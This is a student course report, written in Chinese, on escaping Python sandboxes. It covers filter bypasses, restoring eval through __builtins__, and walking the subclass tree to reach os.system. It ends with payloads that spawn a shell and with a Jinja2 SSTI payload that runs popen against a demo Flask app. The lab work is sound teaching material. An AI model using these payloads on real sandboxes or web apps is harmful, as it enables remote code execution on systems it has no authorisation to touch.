# 電腦攻擊與防禦 projrct2-Python Sandbox Escape ###### tags: `project` ## 107201017莫耀智 107201019陳宇揚 107201023 蔡沐霖 ## Sandbox 介紹及攻擊目的 ### 甚麼是沙盒 這裡所說的`sandbox`是類似一些網站提供線上`Python`指令碼執行或者是可以讓使用著輸入的地方,而又不想使用者直接使用`Python`執行系統命令對系統造成危害,而對`Python`的一個簡化版本。被簡化的版本刪去了命令執行,伺服器檔案讀寫等相關函式或檔案,如`import os command`等。 ### 攻擊方法 在攻擊時須注意`python`的版本,每個版本的指令及類項位置不一定相同,如`python2.x`、`python3.x`的`print`指令並不相同。 如果沒有對`python`進行濾字,則使用者就可以進行RCE攻擊,如輸入以下程式碼就可以查看本機端資料 ```python= import os os.system('ls') ``` 因此如果輸入 `import os`無法執行代表說系統有擋掉 `import` 或 `os` `command` 等字元,那遇到這種狀況又如何攻擊呢? #### 過濾字元 若系統擋掉 `exec` `'open` `'file` `'execfile` `import` `eval` `input` `hacker` 等字元,則會面臨無法載入任何套件,可以使用`__import__`動態載入,效果等同於上段程式碼。 ##### 方法一: ```python= res=__import__("o"+"s") res.system('ls') ``` 也可以使用加密的方式來繞過字串判定 ##### 方法二 ```python== codecs=__import__("codecs") res=__import__(codecs.decode("bf","rot_13")) res.system('ifconfig') ``` #### 動態載入 __import__() 函式用於動態載入類和函式 。 如果一個模組經常變化就可以使用 __import__() 來動態載入。 語法: `__import__(name, globals=None, locals=None, fromlist=(), level=0)` 使用方法:函式功能用於動態的匯入模組,主要用於反射或者延遲載入模組。 ``` python= #reflect.py print ('reflect') def hello(): print("hello I'm reflect.py") ``` ```python= #mian.py print ('main') reflect = __import__('reflect') dir(reflect) index.hello() ``` 結果: ``` main reflect hello I'm reflect.py ``` #### 預先載入 `python`有許多保留字元,就放在`__builtins__`模塊裡面,可以利用`dir()`來查看,若`dir()`內沒有參數,就會顯示目前環境的所有套件,若有顯示參數,則會顯示該參數的屬性`attribute` ```python= >>> dir() ['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__'] >>> dir('__builtins__') ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] ``` 我們可以在`__builtins__.__dict__`中找到`eval`等`function`,因此可以使用以下方法繞過 ```python= __builtins__.__dict__['ev'+'al']("__import__('os').system('ls')") ``` 如果系統中預先把危險的函數直接刪除,如以下程式碼。 ```python= del builtins.dict['eval'] del builtins.dict['exec'] ``` 在`python2`中使用`reload(__builtins__)`可以重新下載`__builtins__`函數。在`python3`無法做到,但可以利用繼承樹的方式進行操作。 #### 根物件與繼承樹 在`pytohn`中 `__class__`可以回傳引數型別,`__base__`可以回傳基類,`__mro__`回傳繼承數,`__subclasses__()`回傳所有子類。而`python`所有物件都是繼承於`object`這個類,因此利用`python`中預先`import`的變數(類)來使用可以拿到一些敏感資訊。 ```python= >>> [].__class__ <class 'list'> >>> [].__class__.base__ <class 'object'> >>> [].__class__.__mro__ (<class 'list'>, <class 'object'>) >>> [].__class__.__mro__[1] <class 'object'> >>> [].__class__.__base__.__subclasses__() or [].__class.__mro__[1].__subclasses__() [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,...] ``` 在`python3.7.7`可以找到在第129個位置有一個`<class 'os._wrap_close'>` 神奇物件可以使用,因此可以使用`__globals__`可以將所有變數以`dict`的形式讀出來,因此可以利用`[""]`來找到我們需要的函式如`eval`或`exec`。 ```python= [].__class__.__mro__[1].__subclasses__()[128].__init__.__globals__['__builtins__']['ev'+'al']("__import__('o'+'s').system('ifconfig')") ``` ## 實作 自己建立沙盒,在可以讓使用者輸入的程式區塊利用RCE,想辦法拿到電腦控制權(sh),程式碼如下。 ### 1. ```python= def check_string(inp): block = ['exec','open','file','execfile','import','eval','input','hacker','os'] for s in block: if s in inp: raise Exception(s +"是個非法字喔") while True: try: n = input('> ') check_string(n) r = None exec("r=" + n) if r != None: print(r) except Exception as e: print (e) ``` 可以看到程式碼中將`import` `eval`等函式濾掉,因此必須想辦法繞過,可以使用python中內建的builtins來繞過,因此送出已下payload可以繞過字串檢查。 ```python __builtins__.__dict__['ev'+'al']("__impor"+"t__('o'+'s').system('sh')") ``` 即可拿到到控制權 ![](https://i.imgur.com/wdDd1k1.png) ### 2 第二個程式碼加入了刪除`open`和`eval`等危險的函式,但因為題目中需用到`exec`因此無法相她刪除,已經是一個漏洞。 ```python= def make_secure(): kill = ['open','eval'] for func in kill: del __builtins__.__dict__[func] make_secure() def check_string(inp): block = ['exec','open','file','execfile','import','eval','input','hacker','os'] for s in block: if s in inp: raise Exception(s +"是個非法字喔") while True: try: n = input('> ') check_string(n) r = None exec("r=" + n) if r != None: print(r) except Exception as e: print (e) ``` 送出 payload ```python [].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('calc') ``` 即可拿到控制權 ### 3 使用 `Flask` 建立 `ssit`模板 ```python= from flask import Flask, render_template_string, config, request app = Flask(__name__) @app.route('/') def index(): name=request.args.get('name') template = '<h1>hello {}!<h1>'.format(name) print(template) return render_template_string(template) app.run() ``` 進入網站可以看到沒有可以輸入的地方,但從程式碼推敲式利用`name`當作`get`變數來印出資料,Jinja2利用`render`輸入製前端時,會將`{{}}`裡的程式碼做解析。 ![](https://i.imgur.com/sbw12BY.png) 可以看到程式碼什麼都沒有檔,因此可以直接注入程式碼來獲取資訊,可以利用繼承樹的方法來拿到`system`等相關函式如`popen` 。 因此直接輸入payload ``` /?name={{[].__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls").read()}} ``` 即可打入網站 ![](https://i.imgur.com/8HX9mbh.png) ## 測試環境 http://140.115.26.32:8880/ ## 參考資料 https://github.com/splitline/py-sandbox-escape https://www.itread01.com/article/1511486352.html https://marketingliveincode.com/?p=736